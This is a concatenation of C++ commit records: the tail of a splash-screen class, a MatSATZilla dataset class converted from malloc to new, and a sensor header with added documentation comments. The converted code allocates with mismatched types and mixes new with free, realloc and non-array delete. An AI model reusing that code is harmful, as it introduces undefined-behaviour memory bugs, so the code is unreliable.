CSplashScreen::start()\n{\n\tif (m_nDelay>0 && m_startTime.toULong() == 0)\n        m_startTime = CTimeInterval::getCurrentTime();\n}\n\nlong CSplashScreen::howLongWaitMs()\n{\n   if (m_nDelay <= 0) {\n       return m_nDelay;\n   }\n   CTimeInterval endTime = CTimeInterval::getCurrentTime();\n   long nTimeElapsed = endTime.minus(m_startTime).toULong();\n   \n   long timeToWait = m_nDelay * 1000 - nTimeElapsed;\n\n   return (timeToWait > 0) ? timeToWait : 0;\n}\n\nvoid CSplashScreen::setDuration(long lDuration)\n{\n\tm_nDelay = (long)(lDuration\/1000);\n}\n\nvoid CSplashScreen::hide()\n{\n\tif (m_nDelay<=0 || m_startTime.toULong() == 0)\n\t\treturn;\n\tlong nWaitMs = howLongWaitMs();\n    m_startTime = CTimeInterval();\n\tif ( nWaitMs <= 0 )\n\t\treturn;\n\n    CAutoPtr<IRhoThreadImpl> ptrThread = rho_get_RhoClassFactory()->createThreadImpl();\n\n    ptrThread->sleep(nWaitMs);\n}\n\nvoid CSplashScreen::init()\n{\n\tString strSplash = RHOCONF().getString(\"splash_screen\");\n\t\n\tCTokenizer stringtokenizer(strSplash, \";\");\n\twhile (stringtokenizer.hasMoreTokens()) {\n\t\tString tok = stringtokenizer.nextToken();\n\t\ttok = String_trim(tok);\n\t\tif (tok.length() == 0) {\n\t\t\tcontinue;\n\t\t}\n\t\t\n\t\tif (tok.find(\"delay\") == 0)\n\t\t{\n\t\t\tint nEq = tok.find('=');\n\t\t\tif (nEq>=0)\n\t\t\t{\n\t\t\t\tString val = tok.substr(nEq+1);\n\t\t\t\tval = String_trim(val);\n\t\t\t\tif ( val.length() > 0 )\n                    convertFromStringA( val.c_str(), m_nDelay );\n\t\t\t}\n\t\t}else if (tok.find(\"zoom\") == 0)\n\t\t{\n\t\t\tm_nFlags |= VZOOM | HZOOM;\n\t\t}else if ( tok.find(\"vzoom\") == 0)\n\t\t{\n\t\t\tm_nFlags |= VZOOM;\n\t\t}else if ( tok.find(\"hzoom\") == 0)\n\t\t{\n\t\t\tm_nFlags |= HZOOM;\n\t\t}else if ( tok.find(\"center\") == 0)\n\t\t{\n\t\t\tm_nFlags |= VCENTER | HCENTER;\n\t\t}else if ( tok.find(\"vcenter\") == 0)\n\t\t{\n\t\t\tm_nFlags |= VCENTER;\n\t\t}else if ( tok.find(\"hcenter\") == 0)\n\t\t{\n\t\t\tm_nFlags |= HCENTER;\n\t\t}\n\t\t\n\t}\n}\n}\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <iostream>\n#include <fstream>\n\n#include <iostream>\n#include <iterator>\n#include <cstdlib>\n#include <cassert>\n#include <cmath>\n\n#include <gsl\/gsl_math.h>\n#include <gsl\/gsl_combination.h>\n\n#include \"dataset.hh\"\n\nusing std::cout;\nusing std::cerr;\nusing std::ofstream;\n\nMSZDataSet::MSZDataSet(double **matrix, size_t nrows, size_t ncols, size_t outputs) \n  : matrix(matrix), nrows(nrows), rfeatures(ncols - outputs), ncols(ncols), outputs(outputs) {}\n  \nMSZDataSet::~MSZDataSet() {\n\n  \/\/ Please God, do not let this Seg Fault!\n\n  \/\/ Clean up matrix by deleting each line.\n  for(size_t row = 0; row < nrows; row++) \n    delete[] matrix[row];\n\t \n  delete[] matrix;\n  \n}\n\nvoid MSZDataSet::dumpPlotFiles(const vector<string> &labels, const string &prefix) const {\n\n  if(labels.size() != ncols) {\n    cerr << \"Warning: Trying to dump plot files but labels vector is too small.\\n\";\n    cerr << \"Labels has size \" << labels.size() << \" but we have \" << ncols << \" columns.\\n\";\n    return;\n  }\n\n  \/\/ Dump the files for plotting features against output\n  for(size_t out = 0; out < outputs; out++) {\n    for(size_t feature = outputs; feature < ncols; feature++) {\n      ofstream file;\n      file.open((prefix + \"_\" + labels[out] + \"_\" + labels[feature] + \".dat\").c_str());\n      \n      file << \"# This file is generated by MatSATZilla\\n\"\n\t   << \"# It should be used with gnuplot to plot\\n\"\n\t   << \"# the feature \" << labels[feature] << \" against\\n\"\n\t   << \"# the output \" << labels[out] << \"\\n\"\n\t   << \"#\\n\"\n\t\/\/ Outputting timestamp could be nice.\n\t\/\/<< \"# Timestamp: \" << \n\t   << \"#\\n\"\n\t   << \"# \" << labels[feature] << \"\\t\\t\" << labels[out] << \"\\n\";\n      \n      \/\/ For each instance\n      for(size_t i = 0; i < nrows; i++) \n\tfile << matrix[i][feature] << \"\\t\\t\" << matrix[i][out] << \"\\n\";\n\n      file.close();\n    }\n  }\n\n  \/\/ Dump the files for plotting features against themselves\n  for(size_t f1 = outputs; f1 < ncols-1; f1++) {\n    for(size_t f2 = f1+1; f2 < ncols; f2++) {\n      assert(f1 != f2); \/\/ Shouldn't be plotting same features\n      assert(labels[f1] != labels[f2]); \/\/ There shouldn't be two labels with the same name\n      ofstream file;\n      file.open((prefix + \"_\" + labels[f1] + \"_\" + labels[f2] + \".dat\").c_str());\n      \n      file << \"# This file is generated by MatSATZilla\\n\"\n\t   << \"# It should be used with gnuplot to plot\\n\"\n\t   << \"# the feature \" << labels[f2] << \" against\\n\"\n\t   << \"# the feature \" << labels[f1] << \"\\n\"\n\t   << \"#\\n\"\n\t\/\/ Outputting timestamp could be nice.\n\t\/\/<< \"# Timestamp: \" << \n\t   << \"#\\n\"\n\t   << \"# \" << labels[f2] << \"\\t\\t\" << labels[f1] << \"\\n\";\n      \n      \/\/ For each instance\n      for(size_t i = 0; i < nrows; i++) \n\tfile << matrix[i][f2] << \"\\t\\t\" << matrix[i][f1] << \"\\n\";\n\n      file.close();\n    }\n  }\n}\n\nvoid MSZDataSet::printSolverStats(size_t timeout, const vector<string> &slabels) {\n\n  if(slabels.size() != outputs) {\n    cerr << \"printSolverStats: You're passing in \" << slabels.size() << \" solver labels but there are \" << outputs << \" outputs in dataset.\\n\";\n    return;\n  }\n\n  vector<size_t> nbTimeouts(outputs, 0);\n  vector<size_t> nbOtherErrors(outputs, 0);\n\n  for(size_t s = 0; s < outputs; s++) {\n    for(size_t i = 0; i < nrows; i++) {\n      if(matrix[i][s] == timeout)\n\tnbTimeouts[s]++;\n      else if(matrix[i][s] == 2*timeout)\n\tnbOtherErrors[s]++;\n    }\n  }\n\n  for(size_t s = 0; s < outputs; s++) {\n    cout << \"Solver: \" << slabels[s] << \"\\n\"\n\t << \"\\t\\tTimeouts: \" << nbTimeouts[s] << \" (\" << (((double)(nbTimeouts[s])) \/ nrows)*100.0 << \")\\n\"\n\t << \"\\t\\tOther Errors: \" << nbOtherErrors[s] << \" (\" << (((double)(nbOtherErrors[s])) \/ nrows)*100.0 << \")\\n\"\n\t << \"\\t\\tUsable Instances: \" << nrows - nbTimeouts[s] - nbOtherErrors[s] << \" (\" << (((double)(nrows - nbTimeouts[s] - nbOtherErrors[s])) \/ nrows)*100.0 << \")\\n\";\n  }\n\n}\n\nvoid MSZDataSet::dumpPlotFiles(char **labels, size_t len, char *prefix) const {\n\n  vector<string> vec(len);\n\n  for(size_t i = 0; i < len; i++)\n    vec[i] = string(labels[i]);\n\n  dumpPlotFiles(vec, string(prefix));\n}\n\ndouble MSZDataSet::getOutputValue(size_t row, size_t col) const {\n  assert(row < nrows);\n  assert(col < outputs);\n\n  return matrix[row][col];\n}\n\ndouble MSZDataSet::getFeatureValue(size_t row, size_t col) const {\n  assert(row < nrows);\n  assert(col < ncols - outputs);\n\n  return matrix[row][col+outputs];\n}\n\nvoid MSZDataSet::standardize() {\n  \n  cout << \"Standardizing features ...\";\n\n  static bool stdDone = false;\n\n  if(!stdDone) {\n    for(size_t c = outputs; c < ncols; c++) {\n\n      \/\/ Compute column mean and compute column variance.\n      double mean = 0.0;\n      for(size_t r = 0; r < nrows; r++) \n\tmean += matrix[r][c];\n      mean \/= nrows;\n\n      \/\/ Compute column standard deviation. \n      double sdv = 0.0;\n      for(size_t r = 0; r < nrows; r++) \n\tsdv += gsl_pow_2(matrix[r][c] - mean);\n      sdv \/= nrows;\n\n      for(size_t r = 0; r < nrows; r++) \n\tmatrix[r][c] = (matrix[r][c] - mean) \/ sdv;\n\t\n    }\n\n  }\n  stdDone = true;\n\n  cout << \"DONE\\n\";\n\n}\n\nvoid MSZDataSet::removeFeatures(const vector<size_t> &keepVec) {\n  \/\/ We need to remove the feature indexes in vec from the current data.\n  \n  cout << \"Pruning features from dataset: \";\n\n  \/\/ Create the indices to remove\n  vector<size_t> vec;\n  for(size_t i = outputs; i < ncols; i++)\n    if(find(keepVec.begin(), keepVec.end(), i-outputs) == keepVec.end())\n      vec.push_back(i);\n\n  if(vec.size() == 0) { \n    cout << \"NONE\\n\";\n    return;\n  } else {\n    copy(vec.begin(), vec.end(), std::ostream_iterator<size_t>(cout, \" \"));\n    cout << std::endl;\n  }\n\n  \/\/ Let's setup all the variables\n  size_t currRawFeatures = rfeatures;\n  size_t currCols = ncols;\n  for(size_t i = 0; i < vec.size(); i++) {\n    ncols--;\n    if(vec[i] < currRawFeatures)\n      rfeatures--; \n  }\n  \n  \/\/ Now we need to recreate matrix.\n  \/\/ KILL ME\n  double **newMatrix = (double**)malloc(nrows * sizeof(*newMatrix));\n  for(size_t r = 0; r < nrows; r++)\n    newMatrix[r] = (double*)malloc(ncols * sizeof(**newMatrix));\n  \n  \/\/ Copy every column to the new matrix except those listed in vec.\n  size_t destc = 0;\n  for(size_t origc = 0; origc < currCols; origc++) {\n    if(find(vec.begin(), vec.end(), origc) != vec.end())\n      continue;\n    assert(destc < ncols);\n    for(size_t r = 0; r < nrows; r++)\n      newMatrix[r][destc] = matrix[r][origc];\n    destc++;\n  }\n  \n  \/\/ free previous matrix\n  for(size_t r = 0; r < nrows; r++)\n    free(matrix[r]);\n  free(matrix);\n\n  matrix = newMatrix;\n}\n\nvoid MSZDataSet::standardizeOutputs() {\n\n  cout << \"Standardizing outputs... \";\n\n  static bool stdDone = false;\n\n  if(!stdDone) {\n    for(size_t c = 0; c < outputs; c++)\n      for(size_t r = 0; r < nrows; r++)\n\tmatrix[r][c] = log(matrix[r][c]);\n  }\n\n  stdDone = true;\n\n  cout <<  \"DONE\\n\";\n\n}\n\nvoid MSZDataSet::expand(size_t n) { \n  vector<size_t> pvec(ncols - outputs); \n  for(size_t i = 0; i < pvec.size(); i++)\n    pvec[i] = i;\n\n  expandOnPartition(n, pvec);\n}\n\nvoid MSZDataSet::expand(size_t n, const vector<vector<size_t> > &pvec) {\n  for(size_t i = 0; i < pvec.size(); i++)\n    expandOnPartition(n, pvec[i]);\n}\n\nvoid MSZDataSet::expandOnPartition(size_t k, const vector<size_t> &pvec) {\n  \n  \/\/ expansion is quadratic at the minimum and \n  \/\/ and be bigger than partition size.\n  assert(k > 2 && k <= pvec.size());\n\n  \/\/ Standardize features\n  standardize();\n\n  \/\/ Reallocate the data.\n  \/\/ If we have N features, then, to expand to a order-K polynomial\n  \/\/ we are adding \n  \/\/ n + (n !) \/ (k! (n-k!))\n  size_t num = 1;\n  for(size_t i = 0; i < k; i++) num *= rfeatures - i; \/\/ for big k hell breaks loose\n  size_t den = 1;\n  for(size_t i = k; i > 0; i--) den *= i; \n  size_t nNewF = rfeatures;\n  nNewF += num \/ den;\n  ncols += nNewF; \/\/ Update number of columns\n\n  \/\/ Now, we need to realloc all the structure\n  for(size_t r = 0; r < nrows; r++) {\n    matrix[r] = (double*)realloc(matrix[r], sizeof(**matrix) * (nNewF + ncols));\n    if(matrix[r] == 0) {\n      cerr << \"Bad news... while trying to allocate memory...\\n\"; \n      exit(EXIT_FAILURE);\n    }\n  }\n  \n  \/\/ Compute the cross products\n  \/\/ To do this we compute all the indices combinations and use them\n  \/\/ to compute the cross product on columns defined in pvec.\n  size_t currColumn = rfeatures + outputs;\n  const size_t n = pvec.size();\n  gsl_combination * c;\n  c = gsl_combination_calloc (n, k);\n  size_t *ind = new size_t [k];\n  \n  \/\/ Compute cross product for initial configuration\n  \/\/ Now using the very nice combination structure from GSL.\n  \/\/ Up to rev. 121, we used custom combination generator.\n  do {\n    for(size_t i = 0; i < k; i++)\n      ind[i] = gsl_combination_get(c, i);\n\n    \/\/ Compute cross product in current configuration\n    for(size_t r = 0; r < nrows; r++) {\n      matrix[r][currColumn] = computeCrossProduct(r, ind, k, pvec);\n    }\n    currColumn++;\n  } while(gsl_combination_next (c) == GSL_SUCCESS);\n  gsl_combination_free (c);\n  delete ind;\n\n  \/\/ Compute Powers\n  for(size_t i = 0; i < pvec.size(); i++) {\n    for(size_t r = 0; r < nrows; r++) {\n      \/\/ Compute powers for pvec[i] feature\n      matrix[r][currColumn] = gsl_pow_int(matrix[r][pvec[i]], k);\n    }\n  }\n\n}\n\ndouble MSZDataSet::computeCrossProduct(size_t r, size_t *ind, size_t k, const vector<size_t> &vec) {\n  double cp = 1.0; \/\/ Cross-product\n  for(size_t i = 0; i < k; i++)\n   cp *= matrix[r][vec[ind[i]]];\n  return cp;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ API Entrace Function for Data Set creation\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nMSZDataSet *createDataSet(double** matrix, size_t nrows, size_t ncols, size_t outputs) {\n  assert(nrows > 0);\n  assert(ncols > 0);\n  assert(matrix != 0);\n  assert(outputs > 0);\n  assert(nrows >= ncols - outputs);\n  \n#ifndef NDEBUG\n  for(size_t r = 0; r < nrows; r++)\n    assert(matrix[r] != 0);\n#endif \/\/ NDEBUG\n\n  \/\/ The call!\n  MSZDataSet *ds = new MSZDataSet(matrix, nrows, ncols, outputs);\n  if(!ds) {\n    cerr << \"Error: Allocation of Dataset\\n\";\n    exit(EXIT_FAILURE);\n  }\n  \n  return ds;\n}\n<commit_msg>Replaced mallocs by new.<commit_after>#include <iostream>\n#include <fstream>\n\n#include <iostream>\n#include <iterator>\n#include <cstdlib>\n#include <cassert>\n#include <cmath>\n\n#include <gsl\/gsl_math.h>\n#include <gsl\/gsl_combination.h>\n\n#include \"dataset.hh\"\n\nusing std::cout;\nusing std::cerr;\nusing std::ofstream;\n\nMSZDataSet::MSZDataSet(double **matrix, size_t nrows, size_t ncols, size_t outputs) \n  : matrix(matrix), nrows(nrows), rfeatures(ncols - outputs), ncols(ncols), outputs(outputs) {}\n  \nMSZDataSet::~MSZDataSet() {\n\n  \/\/ Please God, do not let this Seg Fault!\n\n  \/\/ Clean up matrix by deleting each line.\n  for(size_t row = 0; row < nrows; row++) \n    delete[] matrix[row];\n\t \n  delete[] matrix;\n  \n}\n\nvoid MSZDataSet::dumpPlotFiles(const vector<string> &labels, const string &prefix) const {\n\n  if(labels.size() != ncols) {\n    cerr << \"Warning: Trying to dump plot files but labels vector is too small.\\n\";\n    cerr << \"Labels has size \" << labels.size() << \" but we have \" << ncols << \" columns.\\n\";\n    return;\n  }\n\n  \/\/ Dump the files for plotting features against output\n  for(size_t out = 0; out < outputs; out++) {\n    for(size_t feature = outputs; feature < ncols; feature++) {\n      ofstream file;\n      file.open((prefix + \"_\" + labels[out] + \"_\" + labels[feature] + \".dat\").c_str());\n      \n      file << \"# This file is generated by MatSATZilla\\n\"\n\t   << \"# It should be used with gnuplot to plot\\n\"\n\t   << \"# the feature \" << labels[feature] << \" against\\n\"\n\t   << \"# the output \" << labels[out] << \"\\n\"\n\t   << \"#\\n\"\n\t\/\/ Outputting timestamp could be nice.\n\t\/\/<< \"# Timestamp: \" << \n\t   << \"#\\n\"\n\t   << \"# \" << labels[feature] << \"\\t\\t\" << labels[out] << \"\\n\";\n      \n      \/\/ For each instance\n      for(size_t i = 0; i < nrows; i++) \n\tfile << matrix[i][feature] << \"\\t\\t\" << matrix[i][out] << \"\\n\";\n\n      file.close();\n    }\n  }\n\n  \/\/ Dump the files for plotting features against themselves\n  for(size_t f1 = outputs; f1 < ncols-1; f1++) {\n    for(size_t f2 = f1+1; f2 < ncols; f2++) {\n      assert(f1 != f2); \/\/ Shouldn't be plotting same features\n      assert(labels[f1] != labels[f2]); \/\/ There shouldn't be two labels with the same name\n      ofstream file;\n      file.open((prefix + \"_\" + labels[f1] + \"_\" + labels[f2] + \".dat\").c_str());\n      \n      file << \"# This file is generated by MatSATZilla\\n\"\n\t   << \"# It should be used with gnuplot to plot\\n\"\n\t   << \"# the feature \" << labels[f2] << \" against\\n\"\n\t   << \"# the feature \" << labels[f1] << \"\\n\"\n\t   << \"#\\n\"\n\t\/\/ Outputting timestamp could be nice.\n\t\/\/<< \"# Timestamp: \" << \n\t   << \"#\\n\"\n\t   << \"# \" << labels[f2] << \"\\t\\t\" << labels[f1] << \"\\n\";\n      \n      \/\/ For each instance\n      for(size_t i = 0; i < nrows; i++) \n\tfile << matrix[i][f2] << \"\\t\\t\" << matrix[i][f1] << \"\\n\";\n\n      file.close();\n    }\n  }\n}\n\nvoid MSZDataSet::printSolverStats(size_t timeout, const vector<string> &slabels) {\n\n  if(slabels.size() != outputs) {\n    cerr << \"printSolverStats: You're passing in \" << slabels.size() << \" solver labels but there are \" << outputs << \" outputs in dataset.\\n\";\n    return;\n  }\n\n  vector<size_t> nbTimeouts(outputs, 0);\n  vector<size_t> nbOtherErrors(outputs, 0);\n\n  for(size_t s = 0; s < outputs; s++) {\n    for(size_t i = 0; i < nrows; i++) {\n      if(matrix[i][s] == timeout)\n\tnbTimeouts[s]++;\n      else if(matrix[i][s] == 2*timeout)\n\tnbOtherErrors[s]++;\n    }\n  }\n\n  for(size_t s = 0; s < outputs; s++) {\n    cout << \"Solver: \" << slabels[s] << \"\\n\"\n\t << \"\\t\\tTimeouts: \" << nbTimeouts[s] << \" (\" << (((double)(nbTimeouts[s])) \/ nrows)*100.0 << \")\\n\"\n\t << \"\\t\\tOther Errors: \" << nbOtherErrors[s] << \" (\" << (((double)(nbOtherErrors[s])) \/ nrows)*100.0 << \")\\n\"\n\t << \"\\t\\tUsable Instances: \" << nrows - nbTimeouts[s] - nbOtherErrors[s] << \" (\" << (((double)(nrows - nbTimeouts[s] - nbOtherErrors[s])) \/ nrows)*100.0 << \")\\n\";\n  }\n\n}\n\nvoid MSZDataSet::dumpPlotFiles(char **labels, size_t len, char *prefix) const {\n\n  vector<string> vec(len);\n\n  for(size_t i = 0; i < len; i++)\n    vec[i] = string(labels[i]);\n\n  dumpPlotFiles(vec, string(prefix));\n}\n\ndouble MSZDataSet::getOutputValue(size_t row, size_t col) const {\n  assert(row < nrows);\n  assert(col < outputs);\n\n  return matrix[row][col];\n}\n\ndouble MSZDataSet::getFeatureValue(size_t row, size_t col) const {\n  assert(row < nrows);\n  assert(col < ncols - outputs);\n\n  return matrix[row][col+outputs];\n}\n\nvoid MSZDataSet::standardize() {\n  \n  cout << \"Standardizing features ...\";\n\n  static bool stdDone = false;\n\n  if(!stdDone) {\n    for(size_t c = outputs; c < ncols; c++) {\n\n      \/\/ Compute column mean and compute column variance.\n      double mean = 0.0;\n      for(size_t r = 0; r < nrows; r++) \n\tmean += matrix[r][c];\n      mean \/= nrows;\n\n      \/\/ Compute column standard deviation. \n      double sdv = 0.0;\n      for(size_t r = 0; r < nrows; r++) \n\tsdv += gsl_pow_2(matrix[r][c] - mean);\n      sdv \/= nrows;\n\n      for(size_t r = 0; r < nrows; r++) \n\tmatrix[r][c] = (matrix[r][c] - mean) \/ sdv;\n\t\n    }\n\n  }\n  stdDone = true;\n\n  cout << \"DONE\\n\";\n\n}\n\nvoid MSZDataSet::removeFeatures(const vector<size_t> &keepVec) {\n  \/\/ We need to remove the feature indexes in vec from the current data.\n  \n  cout << \"Pruning features from dataset: \";\n\n  \/\/ Create the indices to remove\n  vector<size_t> vec;\n  for(size_t i = outputs; i < ncols; i++)\n    if(find(keepVec.begin(), keepVec.end(), i-outputs) == keepVec.end())\n      vec.push_back(i);\n\n  if(vec.size() == 0) { \n    cout << \"NONE\\n\";\n    return;\n  } else {\n    copy(vec.begin(), vec.end(), std::ostream_iterator<size_t>(cout, \" \"));\n    cout << std::endl;\n  }\n\n  \/\/ Let's setup all the variables\n  size_t currRawFeatures = rfeatures;\n  size_t currCols = ncols;\n  for(size_t i = 0; i < vec.size(); i++) {\n    ncols--;\n    if(vec[i] < currRawFeatures)\n      rfeatures--; \n  }\n  \n  \/\/ Now we need to recreate matrix.\n  \/\/ KILL ME\n  double **newMatrix = new double** [nrows];\n  for(size_t r = 0; r < nrows; r++)\n    newMatrix[r] = new double* [ncols];\n  \n  \/\/ Copy every column to the new matrix except those listed in vec.\n  size_t destc = 0;\n  for(size_t origc = 0; origc < currCols; origc++) {\n    if(find(vec.begin(), vec.end(), origc) != vec.end())\n      continue;\n    assert(destc < ncols);\n    for(size_t r = 0; r < nrows; r++)\n      newMatrix[r][destc] = matrix[r][origc];\n    destc++;\n  }\n  \n  \/\/ free previous matrix\n  for(size_t r = 0; r < nrows; r++)\n    free(matrix[r]);\n  free(matrix);\n\n  matrix = newMatrix;\n}\n\nvoid MSZDataSet::standardizeOutputs() {\n\n  cout << \"Standardizing outputs... \";\n\n  static bool stdDone = false;\n\n  if(!stdDone) {\n    for(size_t c = 0; c < outputs; c++)\n      for(size_t r = 0; r < nrows; r++)\n\tmatrix[r][c] = log(matrix[r][c]);\n  }\n\n  stdDone = true;\n\n  cout <<  \"DONE\\n\";\n\n}\n\nvoid MSZDataSet::expand(size_t n) { \n  vector<size_t> pvec(ncols - outputs); \n  for(size_t i = 0; i < pvec.size(); i++)\n    pvec[i] = i;\n\n  expandOnPartition(n, pvec);\n}\n\nvoid MSZDataSet::expand(size_t n, const vector<vector<size_t> > &pvec) {\n  for(size_t i = 0; i < pvec.size(); i++)\n    expandOnPartition(n, pvec[i]);\n}\n\nvoid MSZDataSet::expandOnPartition(size_t k, const vector<size_t> &pvec) {\n  \n  \/\/ expansion is quadratic at the minimum and \n  \/\/ and be bigger than partition size.\n  assert(k >= 2 && k <= pvec.size());\n\n  \/\/ Standardize features\n  standardize();\n\n  \/\/ Reallocate the data.\n  \/\/ If we have N features, then, to expand to a order-K polynomial\n  \/\/ we are adding \n  \/\/ n + (n !) \/ (k! (n-k!))\n  size_t num = 1;\n  for(size_t i = 0; i < k; i++) num *= rfeatures - i; \/\/ for big k hell breaks loose\n  size_t den = 1;\n  for(size_t i = k; i > 0; i--) den *= i; \n  size_t nNewF = rfeatures;\n  nNewF += num \/ den;\n  ncols += nNewF; \/\/ Update number of columns\n\n  \/\/ Now, we need to realloc all the structure\n  for(size_t r = 0; r < nrows; r++) {\n    matrix[r] = (double*)realloc(matrix[r], sizeof(**matrix) * (nNewF + ncols));\n    if(matrix[r] == 0) {\n      cerr << \"Bad news... while trying to allocate memory...\\n\"; \n      exit(EXIT_FAILURE);\n    }\n  }\n  \n  \/\/ Compute the cross products\n  \/\/ To do this we compute all the indices combinations and use them\n  \/\/ to compute the cross product on columns defined in pvec.\n  size_t currColumn = rfeatures + outputs;\n  const size_t n = pvec.size();\n  gsl_combination * c;\n  c = gsl_combination_calloc (n, k);\n  size_t *ind = new size_t [k];\n  \n  \/\/ Compute cross product for initial configuration\n  \/\/ Now using the very nice combination structure from GSL.\n  \/\/ Up to rev. 121, we used custom combination generator.\n  do {\n    for(size_t i = 0; i < k; i++)\n      ind[i] = gsl_combination_get(c, i);\n\n    \/\/ Compute cross product in current configuration\n    for(size_t r = 0; r < nrows; r++) {\n      matrix[r][currColumn] = computeCrossProduct(r, ind, k, pvec);\n    }\n    currColumn++;\n  } while(gsl_combination_next (c) == GSL_SUCCESS);\n  gsl_combination_free (c);\n  delete ind;\n\n  \/\/ Compute Powers\n  for(size_t i = 0; i < pvec.size(); i++) {\n    for(size_t r = 0; r < nrows; r++) {\n      \/\/ Compute powers for pvec[i] feature\n      matrix[r][currColumn] = gsl_pow_int(matrix[r][pvec[i]], k);\n    }\n  }\n\n}\n\ndouble MSZDataSet::computeCrossProduct(size_t r, size_t *ind, size_t k, const vector<size_t> &vec) {\n  double cp = 1.0; \/\/ Cross-product\n  for(size_t i = 0; i < k; i++)\n   cp *= matrix[r][vec[ind[i]]];\n  return cp;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ API Entrace Function for Data Set creation\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nMSZDataSet *createDataSet(double** matrix, size_t nrows, size_t ncols, size_t outputs) {\n  assert(nrows > 0);\n  assert(ncols > 0);\n  assert(matrix != 0);\n  assert(outputs > 0);\n  assert(nrows >= ncols - outputs);\n  \n#ifndef NDEBUG\n  for(size_t r = 0; r < nrows; r++)\n    assert(matrix[r] != 0);\n#endif \/\/ NDEBUG\n\n  \/\/ The call!\n  MSZDataSet *ds = new MSZDataSet(matrix, nrows, ncols, outputs);\n  if(!ds) {\n    cerr << \"Error: Allocation of Dataset\\n\";\n    exit(EXIT_FAILURE);\n  }\n  \n  return ds;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/**\n * \\file dcs\/testbed\/base_sensor.hpp\n *\n * \\brief Collect observations.\n *\n * \\author Marco Guazzone (marco.guazzone@gmail.com)\n *\n * <hr\/>\n *\n * Copyright 2012 Marco Guazzone (marco.guazzone@gmail.com)\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef DCS_TESTBED_BASE_SENSOR_HPP\n#define DCS_TESTBED_BASE_SENSOR_HPP\n\n\n#include <dcs\/testbed\/sensor_observation.hpp>\n#include <vector>\n\n\nnamespace dcs { namespace testbed {\n\ntemplate <typename TraitsT>\nclass base_sensor\n{\n\tpublic: typedef TraitsT traits_type;\n\tpublic: typedef sensor_observation<traits_type> observation_type;\n\n\n\tpublic: void sense()\n\t{\n\t\tdo_sense();\n\t}\n\n\tpublic: bool has_observations() const\n\t{\n\t\treturn do_has_observations();\n\t}\n\n\tpublic: ::std::vector<observation_type> observations() const\n\t{\n\t\treturn do_observations();\n\t}\n\n\tprivate: virtual void do_sense() = 0;\n\n\tprivate: virtual void do_reset() = 0;\n\n\tprivate: virtual bool do_has_observations() const = 0;\n\n\tprivate: virtual ::std::vector<observation_type> do_observations() const = 0;\n}; \/\/ base_sensor\n\n}} \/\/ Namespace dcs::testbed\n\n#endif \/\/ DCS_TESTBED_BASE_SENSOR_HPP\n<commit_msg>Improved doc<commit_after>\/**\n * \\file dcs\/testbed\/base_sensor.hpp\n *\n * \\brief Class to model sensors for collecting observations.\n *\n * \\author Marco Guazzone (marco.guazzone@gmail.com)\n *\n * <hr\/>\n *\n * Copyright 2012 Marco Guazzone (marco.guazzone@gmail.com)\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef DCS_TESTBED_BASE_SENSOR_HPP\n#define DCS_TESTBED_BASE_SENSOR_HPP\n\n\n#include <dcs\/testbed\/sensor_observation.hpp>\n#include <vector>\n\n\nnamespace dcs { namespace testbed {\n\n\/**\n * \\file dcs\/testbed\/base_sensor.hpp\n *\n * \\brief Class to model sensors for collecting observations.\n *\n * \\tparam TraitsT traits type.\n *\n * \\author Marco Guazzone (marco.guazzone@gmail.com)\n *\/\ntemplate <typename TraitsT>\nclass base_sensor\n{\n\tpublic: typedef TraitsT traits_type;\n\tpublic: typedef sensor_observation<traits_type> observation_type;\n\n\n\t\/\/\/ Collect next available observations\n\tpublic: void sense()\n\t{\n\t\tdo_sense();\n\t}\n\n\t\/\/\/ Tells if some observations have been collected and are available to be consumed\n\tpublic: bool has_observations() const\n\t{\n\t\treturn do_has_observations();\n\t}\n\n\t\/\/\/ Returns the last collected observations\n\tpublic: ::std::vector<observation_type> observations() const\n\t{\n\t\treturn do_observations();\n\t}\n\n\t\/\/\/ Reset the state of this sensor\n\tpublic: void reset()\n\t{\n\t\tdo_reset();\n\t}\n\n\tprivate: virtual void do_sense() = 0;\n\n\tprivate: virtual void do_reset() = 0;\n\n\tprivate: virtual bool do_has_observations() const = 0;\n\n\tprivate: virtual ::std::vector<observation_type> do_observations() const = 0;\n}; \/\/ base_sensor\n\n}} \/\/ Namespace 